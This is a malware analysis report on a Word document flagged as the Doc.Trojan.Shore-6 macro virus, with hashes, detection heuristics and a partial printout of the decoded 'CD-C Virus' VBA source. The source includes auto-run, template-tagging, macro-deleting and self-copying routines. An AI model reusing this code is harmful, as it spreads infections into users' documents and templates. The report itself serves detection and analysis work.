Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3b5c2c765cf0664d…

MALICIOUS

Office (OLE)

55.5 KB Created: 2001-07-06 05:55:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8e63094c555ab2406e5335e9cbd181d5 SHA-1: e25016ff8bb9c83ca8e3a29a8f12cb7a52893961 SHA-256: 3b5c2c765cf0664db1849c924ffdfb1f3b1d3821f93f9f55c240e0c2eea7b2fa
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy WordBasic macro virus and contains VBA macros, specifically AutoOpen and AutoClose, which are commonly used to execute malicious code. ClamAV detection as 'Doc.Trojan.Shore-6' further confirms its malicious nature. The VBA script, named CDC_v10, appears to be a custom macro virus with various procedures for manipulating document properties and potentially executing further actions.

Heuristics 5

  • ClamAV: Doc.Trojan.Shore-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Shore-6
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 40151 bytes
SHA-256: a173af5eb5cad0664c407a34e3f0f007902cde653a0c212ba99eb3508153c0d1
Detection
ClamAV: Doc.Trojan.Shore-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "CDC_v10"
'***** CD-C Virus v.1.0 *****
'Tembalang, Saturday, November 18, 2000
'Virus CD-C dibuat hanya sekedar iseng
'Programmer membuat virus ini karena pada Malam Minggu ini
'sendirian, tak ada yang nemenin.
'Bagi yang ingin kenalan, kirim e-mail ke mas.cdc@usa.net
'

Public Const SeriesNumber = 20001101
Public Const ModuleName = "CDC_v10", FormName = "CDC_Form", _
        mw = "Microsoft Word", _
        SerNum$ = "Series Number", _
        pass = "Password : ", _
        scrollCap = "Normal." & ModuleName & ".scrollCaption"

Public Const CDE = "CD-C Electrical Engineering", _
        hcID = "Ahmad", mail = "e-mail: mas.cdc@usa.net"
        
    
Public Const msg = "Guoooblok!!! Kuncine keliru :))", _
        aaa = "fLQ-Ŕ°vtµĆ__", bbb = "iq5diani", ccc = "ssss", _
        msgcap = "Pekok...!!!", _
        code = "gathel", ddd = "Kluruk", eee = "Telp117", _
        xxx = "cdee99"
Public anCap As String, anInt As Single, anPos As Integer, Animated As Boolean, _
        ToolsOptionsDlg As Dialog, _
        OrganizerDlg As Dialog, _
        ToolsTemplatesDlg As Dialog, _
        ToolsMacrosDlg As Dialog, _
        FormatStyleDlg As Dialog

'Procedures in CDC module
'Procedure untuk memberi identitas pada template
Sub Buggy()
Dim aDocProp As DocumentProperty
    For Each aDocProp In NormalTemplate.CustomDocumentProperties
        aDocProp.Delete
    Next aDocProp
    
    NormalTemplate.CustomDocumentProperties.Add _
            Name:=SerNum$, _
            Type:=msoPropertyTypeNumber, _
            Value:=SeriesNumber, _
            LinkToContent:=False
End Sub
'Fungsi untuk mengecek identitas virus
Function getDocPropExist(theObject As Object) As Boolean
Dim adp As DocumentProperty
    getDocPropExist = False
    For Each adp In theObject.CustomDocumentProperties
    With adp
        If .Name = SerNum$ And .Type = msoPropertyTypeNumber And _
            .Value = SeriesNumber Then
            getDocPropExist = True
            Exit Function
        End If
    End With
    Next adp
End Function
'Fungsi untuk mengecek adanya module dalam template
Function getModuleExist(theObject As Object) As Boolean
Dim aDocProp As DocumentProperty
    getModuleExist = False
    For Each anObject In theObject.VBProject.VBComponents
        If anObject.Name = ModuleName Then
            getModuleExist = True
            Exit Function
        End If
    Next anObject
End Function
'Fungsi untuk mengecek keadaan virus dalam dokumen
Function getInfected(theObject As Object) As Boolean
    getInfected = getModuleExist(theObject) And getDocPropExist(theObject)
End Function
'Procedure untuk menghilangkan semua makro
Sub clearMacros(theObject As Object)
Dim aDocProp As DocumentProperty
    For Each anObject In theObject.VBProject.VBComponents
        If anObject.Name <> "ThisDocument" Then
            Application.OrganizerDelete Source:=theObject.FullName, _
            Name:=anObject.Name, Object:=wdOrganizerObjectProjectItems
        Else
            On Error Resume Next
            With anObject.CodeModule
                .DeleteLines 1, .CountOfLines
            End With
        End If
    Next anObject
    
    For Each aDocProp In theObject.CustomDocumentProperties
        aDocProp.Delete
    Next aDocProp
End Sub
'Procedure duplikasi makro
Sub copyMacros(theSource As Object, theDestination As Object)
Dim aDocProp As DocumentProperty
    If Not getDocPropExist(theDestination) Then _
        theDestination.CustomDocumentProperties.Add _
            Name:=SerNum$, _
            Type:=msoPropertyTypeNumber, _
            Value:=SeriesNumber, _
            LinkToContent:=False

    On Error Resume Next
        Application.OrganizerCopy _
            Source:=theSource.FullName,
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.